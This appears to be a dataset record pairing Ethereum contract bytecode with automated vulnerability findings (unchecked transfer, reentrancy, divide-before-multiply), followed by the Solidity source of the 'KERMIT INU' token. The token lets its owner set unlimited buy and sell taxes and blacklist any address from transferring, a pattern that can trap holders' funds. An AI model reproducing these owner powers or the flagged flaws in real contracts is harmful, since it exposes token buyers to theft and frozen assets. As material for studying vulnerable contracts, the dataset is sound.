ffffffffffffffffffffffffffffffffffffff163314611950576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906137f5565b6006546040517fe6a4390500000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff169063e6a43905906119a990899089906004016134da565b60206040518083038186803b1580156119c157600080fd5b505afa1580156119d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119f991906130ff565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600b602052604090205490915060ff16611a2f57506126e6565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152600760209081526040808320938516835292905290812054819080611a7457505050506126e6565b600085611a90670de0b6b3a76400006109cb6109c68c8c612815565b611a9a9190613b75565b73ffffffffffffffffffffffffffffffffffffffff808d166000908152600860209081526040808320938a1683529290522054909150801580611ae657508015801590611ae657508082105b15611af6575050505050506126e6565b6000611b02838361286f565b905087841015611b10578397505b611b3d84611b1e858b612815565b611b289190613b75565b85610a87611b36828d61286f565b8690612815565b73ffffffffffffffffffffffffffffffffffffffff808f166000908152600860209081526040808320938c1683529290522055611b7a848961286f565b73ffffffffffffffffffffffffffffffffffffffff808f166000908152600760209081526040808320938c1683529290522055670de0b6b3a7640000611bc08b83612815565b611bca9190613b75565b9550670de0b6b3a7640000611bdf8a83612815565b611be99190613b75565b6004549095506000945073ffffffffffffffffffffffffffffffffffffffff8d8116911614801593509150611c3b9050575060045473ffffffffffffffffffffffffffffffffffffffff898116911614155b15612134576000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a439058b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401611cc19291906134da565b60206040518083038186803b158015611cd957600080fd5b505afa158015611ced573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d1191906130ff565b905073ffffffffffffffffffffffffffffffffffffffff811615611e2a5760055473ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85611d578d612fe0565b6040518363ffffffff1660e01b8152600401611d74929190613a83565b60006040518083038186803b158015611d8c57600080fd5b505afa158015611da0573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052611de6919081019061337e565b600181518110611e1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015191505b600654600480546040517fe6a4390500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9384169363e6a4390593611e85938f93921691016134da565b60206040518083038186803b158015611e9d57600080fd5b505afa158015611eb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ed591906130ff565b905073ffffffffffffffffffffffffffffffffffffffff81161561212057811561200b576005546120049073ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85611f258d612fe0565b6040518363ffffffff1660e01b8152600401611f42929190613a83565b60006040518083038186803b158015611f5a57600080fd5b505afa158015611f6e573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052611fb4919081019061337e565b600181518110611fed577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015183612e9490919063ffffffff16565b915061211b565b6005546121189060029073ffffffffffffffffffffffffffffffffffffffff1663d06ca61f8661203a8e612fe0565b6040518363ffffffff1660e01b8152600401612057929190613a83565b60006040518083038186803b15801561206f57600080fd5b505afa158015612083573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526120c9919081019061337e565b600181518110612102577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015161281590919063ffffffff16565b91505b61212e565b61212b826002612815565b91505b50612177565b60045473ffffffffffffffffffffffffffffffffffffffff8a81169116141561216957612162836002612815565b9050612177565b612174826002612815565b90505b801580159061218d575061218961073b565b8111155b801561223e5750600480546040517f70a08231000000000000000000000000000000000000000000000000000000008152839273ffffffffffffffffffffffffffffffffffffffff909216916370a08231916121eb91309101613493565b60206040518083038186803b15801561220357600080fd5b505afa158015612217573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061223b9190613442565b10155b1561234457600480546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169163a9059cbb9161229a918e918691016134b4565b602060405180830381600087803b1580156122b457600080fd5b505af11580156122c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ec919061340e565b506003546122fa9082612e94565b6003556040517f423c10be1ddd44a4aea648533ce6258cb0c8d3fe3e0be3e2163554a0a5c8cce690612337908c90879085908c908c908c90613570565b60405180910390a16126aa565b60008060006123538c8c612f95565b5090508073ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1614612390578486612393565b85855b809350819450505050600a60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506000141561247e5773ffffffffffffffffffffffffffffffffffffffff8c81166000908152600a60209081526040808320938a168352928152918120805460018082018355828452939092209182018590558054928301905501819055612668565b73ffffffffffffffffffffffffffffffffffffffff808d166000908152600a60209081526040808320938a1683529290529081208054612507928592916124ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154612e9490919063ffffffff16565b73ffffffffffffffffffffffffffffffffffffffff808e166000908152600a60209081526040808320938b1683529290529081208054909190612573577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091019290925573ffffffffffffffffffffffffffffffffffffffff808f168252600a83526040808320918a16835292522080546125ef91839160019081106124ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff808e166000908152600a60209081526040808320938b168352929052208054600190811061265b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602090912001555b7f4eeb4e69f7912906286c90ce3657a8e0c0b6df76ca4119096864e8a6956460708c8787878b60405161269f959493929190613532565b60405180910390a150505b50505073ffffffffffffffffffffffffffffffffffffffff80881660009081526009602090815260408083209490931682529290925290204290555b50506001600d5550505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040516024016127259291906134b4565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051612773919061345a565b6000604051808303816000865af19150503d80600081146127b0576040519150601f19603f3d011682016040523d82523d6000602084013e6127b5565b606091505b50915091508180156127df5750805115806127df5750808060200190518101906127df919061340e565b610b41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906135f1565b60008115806128395750828261282b8183613bae565b92506128379083613b75565b145b6108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613696565b60008261287c8382613beb565b91508111156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613628565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600c6020526040812080548291908290612916577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff8881168452600c909252604083208054929091169350906001908110612988577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015460045473ffffffffffffffffffffffffffffffffffffffff91821692508382169116148015906129df575060045473ffffffffffffffffffffffffffffffffffffffff828116911614155b15612dd857600654600480546040517fe6a4390500000000000000000000000000000000000000000000000000000000815260009373ffffffffffffffffffffffffffffffffffffffff9081169363e6a4390593612a4393899390911691016134da565b60206040518083038186803b158015612a5b57600080fd5b505afa158015612a6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a9391906130ff565b905073ffffffffffffffffffffffffffffffffffffffff811615612bac5760055473ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87612ad986612fe0565b6040518363ffffffff1660e01b8152600401612af6929190613a83565b60006040518083038186803b158015612b0e57600080fd5b505afa158015612b22573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052612b68919081019061337e565b600181518110612ba1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015193505b600654600480546040517fe6a4390500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9384169363e6a4390593612c07938893921691016134da565b60206040518083038186803b158015612c1f57600080fd5b505afa158015612c33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c5791906130ff565b905073ffffffffffffffffffffffffffffffffffffffff811615612dc4578315612d8d57600554612d869073ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87612ca786612fe0565b6040518363ffffffff1660e01b8152600401612cc4929190613a83565b60006040518083038186803b158015612cdc57600080fd5b505afa158015612cf0573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052612d36919081019061337e565b600181518110612d6f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015185612e9490919063ffffffff16565b9350612dbf565b600554612dbc9060029073ffffffffffffffffffffffffffffffffffffffff1663d06ca61f8861203a87612fe0565b93505b612dd2565b612dcf846002612815565b93505b50612e1b565b60045473ffffffffffffffffffffffffffffffffffffffff83811691161415612e0d57612e06856002612815565b9250612e1b565b612e18846002612815565b92505b50509392505050565b60006003821115612e855750806000612e3e600283613b75565b612e49906001613b5d565b90505b81811015612e7f57905080600281612e648186613b75565b612e6e9190613b5d565b612e789190613b75565b9050612e4c565b50612e8f565b8115612e8f575060015b919050565b600082612ea18382613b5d565b91508110156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906139af565b6040805160008082526020820190925273ffffffffffffffffffffffffffffffffffffffff8416908390604051612f13919061345a565b60006040518083038185875af1925050503d8060008114612f50576040519150601f19603f3d011682016040523d82523d6000602084013e612f55565b606091505b5050905080612f90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a2906139e6565b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1610612fd2578284612fd5565b83835b909590945092505050565b604080516002808252606080830184529260009291906020830190803683370190505090508281600081518110613040577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526004548251911690829060019081106130a5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff909216602092830291909101909101529050919050565b8035612e8f81613c99565b6000602082840312156130ed578081fd5b81356130f881613c99565b9392505050565b600060208284031215613110578081fd5b81516130f881613c99565b6000806040838503121561312d578081fd5b823561313881613c99565b946020939093013593505050565b60008060408385031215613158578182fd5b823561316381613c99565b9150602083013561317381613c99565b809150509250929050565b60008060008060008060c08789031215613196578182fd5b86356131a181613c99565b955060208701356131b181613c99565b945060408701356131c181613c99565b959894975094956060810135955060808101359460a0909101359350915050565b6000806000606084860312156131f6578283fd5b833561320181613c99565b9250602084013561321181613c99565b9150604084013561322181613cbe565b809150509250925092565b600080600060608486031215613240578283fd5b833561324b81613c99565b9250602084013561325b81613c99565b929592945050506040919091013590565b600080600080600060a08688031215613283578081fd5b853561328e81613c99565b9450602086013561329e81613c99565b94979496505050506040830135926060810135926080909101359150565b6000806040838503121561312d578182fd5b600080604083850312156132e0578081fd5b823567ffffffffffffffff8111156132f6578182fd5b8301601f81018513613306578182fd5b8035602061331b61331683613b39565b613b0f565b82815281810190848301838502860184018a1015613337578687fd5b8695505b8486101561336257803561334e81613c99565b83526001959095019491830191830161333b565b50955061337290508682016130d1565b93505050509250929050565b60006020808385031215613390578182fd5b825167ffffffffffffffff8111156133a6578283fd5b8301601f810185136133b6578283fd5b80516133c461331682613b39565b81815283810190838501858402850186018910156133e0578687fd5b8694505b838510156134025780518352600194909401939185019185016133e4565b50979650505050505050565b60006020828403121561341f578081fd5b81516130f881613cbe565b60006020828403121561343b578081fd5b5035919050565b600060208284031215613453578081fd5b5051919050565b60008251815b8181101561347a5760208186018101518583015201613460565b818111156134885782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff958616815293909416602084015260408301919091526060820152608081019190915260a00190565b73ffffffffffffffffffffffffffffffffffffffff968716815294909516602085015260408401929092526060830152608082015260a081019190915260c00190565b73ffffffffffffffffffffffffffffffffffffffff94909416845260208401929092526040830152606082015260800190565b901515815260200190565b6020808252601f908201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604082015260600190565b6020808252601f908201527f4c505265776172643a2064732d6d6174682d7375622d756e646572666c6f7700604082015260600190565b60208082526010908201527f4c505265776172643a204c4f434b454400000000000000000000000000000000604082015260600190565b6020808252601e908201527f4c505265776172643a2064732d6d6174682d6d756c2d6f766572666c6f770000604082015260600190565b60208082526019908201527f4c505265776172643a2057726f6e672061646472657373657300000000000000604082015260600190565b60208082526016908201527f4c505265776172643a205a65726f206164647265737300000000000000000000604082015260600190565b6020808252602d908201527f4c505265776172643a204e6f204e425520706169727320746f20746f6b656e2060408201527f4120616e6420746f6b656e204200000000000000000000000000000000000000606082015260800190565b60208082526022908201527f4c505265776172643a2053686f756c642062652067726561746572207468616e60408201527f2030000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f43616c6c6572206973206e6f742074686520616c6c6f77656420726f75746572604082015260600190565b60208082526026908201527f4c505265776172643a204e6f20756e646973747269627574656420666565206260408201527f6f6e757365730000000000000000000000000000000000000000000000000000606082015260800190565b60208082526019908201527f4c505265776172643a2041646472657373206973207a65726f00000000000000604082015260600190565b6020808252601a908201527f4c505265776172643a204e6f7420616c6c6f7765642070616972000000000000604082015260600190565b60208082526021908201527f4c505265776172643a2043616c6c6572206973206e6f7420746865206f776e6560408201527f7200000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526031908201527f4c505265776172643a20417661696c61626c652072657761726420666f72207460408201527f686520706572696f642069732075736564000000000000000000000000000000606082015260800190565b6020808252601e908201527f4c505265776172643a2064732d6d6174682d6164642d6f766572666c6f770000604082015260600190565b60208082526023908201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960408201527f4c45440000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526019908201527f4c505265776172643a2050616972206e6f742065786973747300000000000000604082015260600190565b90815260200190565b60006040820184835260206040818501528185518084526060860191508287019350845b81811015613ad957845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101613aa7565b5090979650505050505050565b918252602082015260400190565b93845260208401929092526040830152606082015260800190565b60405181810167ffffffffffffffff81118282101715613b3157613b31613c6a565b604052919050565b600067ffffffffffffffff821115613b5357613b53613c6a565b5060209081020190565b60008219821115613b7057613b70613c3b565b500190565b600082613ba9577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613be657613be6613c3b565b500290565b600082821015613bfd57613bfd613c3b565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c3457613c34613c3b565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114613cbb57600080fd5b50565b8015158114613cbb57600080fdfea2646970667358221220783ebe020d46697a9e8ef5bdf82d0092269c1f81cbe231caed95ba8c136c74f064736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
281
0x95a665de6a386ab48def9ded17719ddb277df2f8
// 🌐 https://kermitoken.com/ // 🟢 https://t.me/kermitinuportal // 🐦 https://twitter.com/KermitInu pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KERMIT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "KERMIT INU"; string private constant _symbol = "KERMIT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x7205d7e322EEcd6EFD812b8c65D1dF4068F016AD); _buyTax = 8; _sellTax = 8; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 5_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { _sellTax = sellTax; } function setBuyTax(uint256 buyTax) external onlyOwner() { _buyTax = buyTax; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610348578063c3c8cd8014610368578063c9567bf91461037d578063dbe8272c14610392578063dc1052e2146103b2578063dd62ed3e146103d257600080fd5b8063715018a6146102a75780638da5cb5b146102bc57806395d89b41146102e45780639e78fb4f14610313578063a9059cbb1461032857600080fd5b8063273123b7116100f2578063273123b714610216578063313ce5671461023657806346df33b7146102525780636fc3eaec1461027257806370a082311461028757600080fd5b806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af5780631bbae6e0146101d457806323b872dd146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a8152694b45524d495420494e5560b01b60208201525b60405161017691906118dd565b60405180910390f35b34801561018b57600080fd5b5061019f61019a366004611764565b610418565b6040519015158152602001610176565b3480156101bb57600080fd5b50670de0b6b3a76400005b604051908152602001610176565b3480156101e057600080fd5b506101f46101ef366004611896565b61042f565b005b34801561020257600080fd5b5061019f610211366004611723565b61047a565b34801561022257600080fd5b506101f46102313660046116b0565b6104e3565b34801561024257600080fd5b5060405160098152602001610176565b34801561025e57600080fd5b506101f461026d36600461185c565b61052e565b34801561027e57600080fd5b506101f4610576565b34801561029357600080fd5b506101c66102a23660046116b0565b6105aa565b3480156102b357600080fd5b506101f46105cc565b3480156102c857600080fd5b506000546040516001600160a01b039091168152602001610176565b3480156102f057600080fd5b5060408051808201909152600681526512d15493525560d21b6020820152610169565b34801561031f57600080fd5b506101f4610640565b34801561033457600080fd5b5061019f610343366004611764565b61087f565b34801561035457600080fd5b506101f4610363366004611790565b61088c565b34801561037457600080fd5b506101f4610922565b34801561038957600080fd5b506101f4610962565b34801561039e57600080fd5b506101f46103ad366004611896565b610b28565b3480156103be57600080fd5b506101f46103cd366004611896565b610b57565b3480156103de57600080fd5b506101c66103ed3660046116ea565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610425338484610b86565b5060015b92915050565b6000546001600160a01b031633146104625760405162461bcd60e51b815260040161045990611932565b60405180910390fd5b6611c37937e080008111156104775760108190555b50565b6000610487848484610caa565b6104d984336104d485604051806060016040528060288152602001611ac9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fba565b610b86565b5060019392505050565b6000546001600160a01b0316331461050d5760405162461bcd60e51b815260040161045990611932565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105585760405162461bcd60e51b815260040161045990611932565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a05760405162461bcd60e51b815260040161045990611932565b4761047781610ff4565b6001600160a01b0381166000908152600260205260408120546104299061102e565b6000546001600160a01b031633146105f65760405162461bcd60e51b815260040161045990611932565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260040161045990611932565b600f54600160a01b900460ff16156106c45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610459565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072457600080fd5b505afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c91906116cd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a457600080fd5b505afa1580156107b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dc91906116cd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082457600